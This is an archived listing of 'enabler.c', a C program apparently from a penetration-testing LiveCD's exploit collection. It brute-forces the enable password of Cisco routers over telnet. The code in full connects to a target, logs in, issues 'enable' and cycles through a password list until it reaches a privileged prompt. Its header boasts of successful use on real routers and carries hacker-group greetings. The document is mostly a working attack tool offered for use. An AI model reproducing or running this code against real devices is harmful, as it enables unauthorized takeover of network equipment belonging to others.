home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / enabler.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  260 lines

  1. /*
  2.  
  3.              .: free source :. .: coded 4 Avatar Corp :.
  4.  
  5.         enabler.                      
  6.         cisco internal bruteforcer.                    
  7.  
  8.                                              coder - norby   
  9.                                            concept - anyone
  10.  
  11.     
  12.   this program just logs into a CISCO router and tries a list of 
  13.   passes looking for the enable one.
  14.   it works in password-only CISCO as well in login-pass ones and 
  15.   has been succesfully tested on many 2600 and a few 12008.
  16.   the prog's concept [bruteforcing a router for gaining enable access] 
  17.   is quite simple ...how amazing I haven't seen similar progs before!
  18.  
  19.   anti eleet&0day force ;)
  20.   anyway... information wants to be free :) 
  21.  
  22.                       sciao belli
  23.  
  24.                saluti a berserker mandarine, acidcrash
  25.                beho x la traduzione :)                                    
  26.  
  27.           norby
  28.                saluti a *lei*, saluti a gabriella che a capodanno
  29.                non ha voluto lasciare il ragazzo x fare un bambino con me ;) 
  30.                saluti a tutti gli avatar, a sandman, a tutte le diecimila
  31.                persone che conosco
  32.           any
  33.                saluti a Acida, storm\, Raid
  34.  
  35.  contact`    norby - staff22@infinito.it      anyone - anyone@anyone.org
  36.                 www.avatarcorp.org 
  37.  
  38.  
  39. neural collapse _ i truly hope in this project
  40.  
  41. v1 02/10/2k+1
  42. todo for v2: use of threads, implement a passlist recovery 
  43.             (very simple feature)     
  44. */
  45.  
  46.  
  47.  
  48. #include <stdio.h>
  49. #include <stdlib.h>
  50. #include <errno.h>
  51. #include <sys/socket.h>
  52. #include <netinet/in.h>
  53. #include <netdb.h>
  54. #include <signal.h>
  55.  
  56. #define BOX                     "\033[0m\033[34;1m[\033[0m\033[37;1m`\033[0m\033[34;1m]"
  57.  
  58. struct sockaddr_in addr;
  59. char host[100];
  60. struct hostent *hp;
  61. int sock_stat;
  62.  
  63. int n,x;
  64. char **password;
  65.  
  66. char resolve(char *inputhost) {
  67.  
  68.     int a,b,c,d;
  69.  
  70.     if (sscanf(inputhost,"%d.%d.%d.%d",&a,&b,&c,&d) !=4) {
  71.        hp = gethostbyname(inputhost);
  72.        if (hp == NULL) { printf("%s error on host resolving\n\033[0m\n", BOX); exit(0); }
  73.        sprintf(host,"%d.%d.%d.%d",(unsigned char)hp->h_addr_list[0][0],
  74.                                   (unsigned char)hp->h_addr_list[0][1],
  75.                                   (unsigned char)hp->h_addr_list[0][2],
  76.                                   (unsigned char)hp->h_addr_list[0][3]);
  77.     }
  78.     else { strncpy(host,inputhost,100); }
  79. }
  80.  
  81. int sock(char *hostoresolve,int port) {
  82.  
  83.     int err;
  84.  
  85.     sock_stat = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  86.     if(sock_stat<0) { printf("%s error opening socket\n\033[0m\n", BOX); exit(0); }
  87.  
  88.     addr.sin_family = PF_INET;
  89.     addr.sin_port = htons(port);
  90.     addr.sin_addr.s_addr = inet_addr(host);
  91.  
  92.     err = connect(sock_stat, (struct sockaddr *) &addr, sizeof(addr));
  93.     if (err < 0) { printf("%s error opening connection\n\033[0m\n", BOX); exit(0); }
  94. }
  95.  
  96. int banner() {
  97.     printf("\n%s enabler.\n", BOX); 
  98.     printf("%s         cisco internal bruteforcer. concept by anyone\n", BOX); 
  99.     printf("%s                                       coded by norby\n", BOX);
  100. }
  101. int usage(char *argv) { printf("%s usage: %s <ip> [-u user] <pass> <passlist> [port]\n\n\033[0m", BOX, argv); }
  102.  
  103. void sig() { 
  104.      if(n>0) { printf("%s %i passwords tryed. no password matching. leaving\n",BOX,n); }
  105.      printf("\n\033[0m"); exit(0);
  106. }
  107.  
  108. int login(char *login, char *pass) {
  109.  
  110.     char *input = malloc(4000);
  111.     int reqlogin;
  112.  
  113.     while (read (sock_stat, input, 4000) > 0) {      
  114.      if(strstr(input,"ogin:")||strstr(input,"sername:")) { 
  115.         if(!strcmp(login,"n0login")) { 
  116.           printf("%s username needed... give me a username next time :)\n\n\033[0m", BOX); 
  117.           exit(0);
  118.         }
  119.         printf("%s login requested. sending [%s] and [%s]\n", BOX, login, pass); reqlogin=1; break; 
  120.      } 
  121.      if(strstr(input,"assword:")) { printf("%s only password needed. sending [%s]\n", BOX, pass); reqlogin=0; break; } 
  122.      bzero(input,4000);
  123.     }
  124.  
  125.     if(reqlogin==1) {
  126.       write(sock_stat,login,strlen(login)); 
  127.       write(sock_stat,"\r\n",2);
  128.  
  129.       while(read(sock_stat,input,4000)>0) {
  130.         if(strstr(input,"assword")); { break; }
  131.       }
  132.     }
  133.  
  134.     write(sock_stat,pass,strlen(pass)); 
  135.     write(sock_stat,"\r\n",2);
  136.  
  137.     sleep(2);
  138.  
  139.     bzero(input,4000);
  140.  
  141.     while (read (sock_stat, input, 4000) > 0) {
  142.       if(strstr(input,">")) { printf("%s seems we are logged in :)\n", BOX); break; }
  143.   /*    if(strstr(input,"assword:")) {  
  144.         printf("%s sorry... [%s] is not a good password for login :░\n\033[0m\n",BOX,pass); exit(0); 
  145.       }*/ 
  146.       if(strstr(input,"sername:")) {
  147.         printf("%s sorry... [%s] is not a good password for login :░\n\033[0m\n",BOX,pass); exit(0);
  148.       }
  149.       bzero(input,4000);
  150.     }
  151. }
  152.  
  153. int loadwordlist(char *list) {
  154.  
  155.    FILE   *passlist;
  156.    char   buf[32], fake; 
  157.    int i,z;
  158.  
  159.    if ((passlist = fopen(list, "r")) == NULL) { 
  160.       printf("%s sorry, unable to open the passlist [%s]\n\033[0m\n", BOX,list); 
  161.       exit(0); 
  162.    }
  163.  
  164.    (void)fseek(passlist, 0L, SEEK_END);       // cazz questo e' uno smanettamento mentale  
  165.    password = malloc(ftell(passlist));        // per fare allocare solo la memoria giusta x la passlist :P
  166.    if(password == NULL) { 
  167.      printf("%s sorry, can't allocate memory for passlist. buy more ram or cut the passlist\n\033[0m\n",BOX);
  168.      exit(0);
  169.    }  
  170.  
  171.    (void)fseek(passlist, 0L, SEEK_SET);
  172.  
  173.    while (!feof(passlist)) {
  174.      fgets(buf, 32, passlist);
  175.      if (buf[0] == '#' || buf[0] == '\n') continue;
  176.      for (i = 0; i < strlen(buf); i++)
  177.          if (buf[i] == '\n') buf[i] = '\0';
  178.      password[x] = malloc(32);
  179.      strcpy(password[x], buf);
  180.      memset(buf, 0, 32);
  181.      x++;
  182.    }
  183.    password[x] = 0x0;
  184.    fclose(passlist);
  185.    if(x<4) { printf("%s sorry, but passlist must contain at least 3 passwords. leaving \n\033[0m\n",BOX); exit(0); }
  186.  
  187. }
  188.  
  189. int brute() {  // there is a stupid error... the last password is tryed 2 times... must be fixed... ;)         
  190.    
  191.    char *input = malloc(100);
  192.    int N;
  193.  
  194.    bzero(input,100);
  195.  
  196.    write(sock_stat,"enable",6);
  197.    write(sock_stat,"\r\n",2);
  198.  
  199.  
  200.    while(1) { 
  201.  
  202.      while(read(sock_stat,input,100)>0) {
  203.        if(n==x) { printf("%s %i passwords tried. no valid password found in the passlist\n\033[0m\n",BOX,n-1); exit(0); }
  204.        if(n+1==x) break;
  205.        if(strstr(input,"assword:")||strstr(input,"#")||strstr(input,">")) break;
  206.        bzero(input,100);
  207.      }
  208.    
  209.      if(strstr(input,"#")) { printf("%s possible password found: %s\n\033[0m\n",BOX,password[n-1]); exit(0); }
  210.  
  211.      if(strstr(input,"assword:")) {
  212.        write(sock_stat,password[n],strlen(password[n]));
  213.        write(sock_stat,"\r\n",2);
  214.        n++; 
  215.        bzero(input,100); 
  216.        if(n>1) printf("%s %s... wrong password\n", BOX, password[n-2]); fflush(stdout); 
  217.        continue;
  218.      } 
  219.      if(strstr(input,">")) {
  220.        write(sock_stat,"enable\r\n",8); bzero(input,100); 
  221.      }
  222.    }
  223. }
  224.  
  225. int main(int argc, char *argv[]) {
  226.  
  227.     int port; 
  228.      
  229.     signal(SIGINT, sig);
  230.  
  231.     banner(); 
  232.     if((argc<=3)||(argc>=8)) { usage(argv[0]); exit(0); }
  233.  
  234.     if(!strcmp(argv[2],"-u")) {
  235.       if(argc==6) { port=atoi("23"); }
  236.       else { port=atoi(argv[6]); } // c'e' uno stupido errore qua di argc che nn ho voglia di trovare
  237.                                    // c'ho cosetta nella testa :░ -- Corretto :) 
  238.  
  239.       printf("%s\n",BOX);
  240.  
  241.       loadwordlist(argv[5]);
  242.       resolve(argv[1]);
  243.       sock(host, port);
  244.       login(argv[3],argv[4]);
  245.       brute();
  246.     }
  247.  
  248.     else {
  249.       if(argc==4) { port=atoi("23"); }
  250.       else { port=atoi(argv[4]); }
  251.       printf("%s\n",BOX);
  252.  
  253.       loadwordlist(argv[3]);
  254.       resolve(argv[1]);
  255.       sock(host, port);
  256.       login("n0login",argv[2]);
  257.       brute();
  258.     }
  259. /*                   www.hack.co.za  [19 January 2001]*/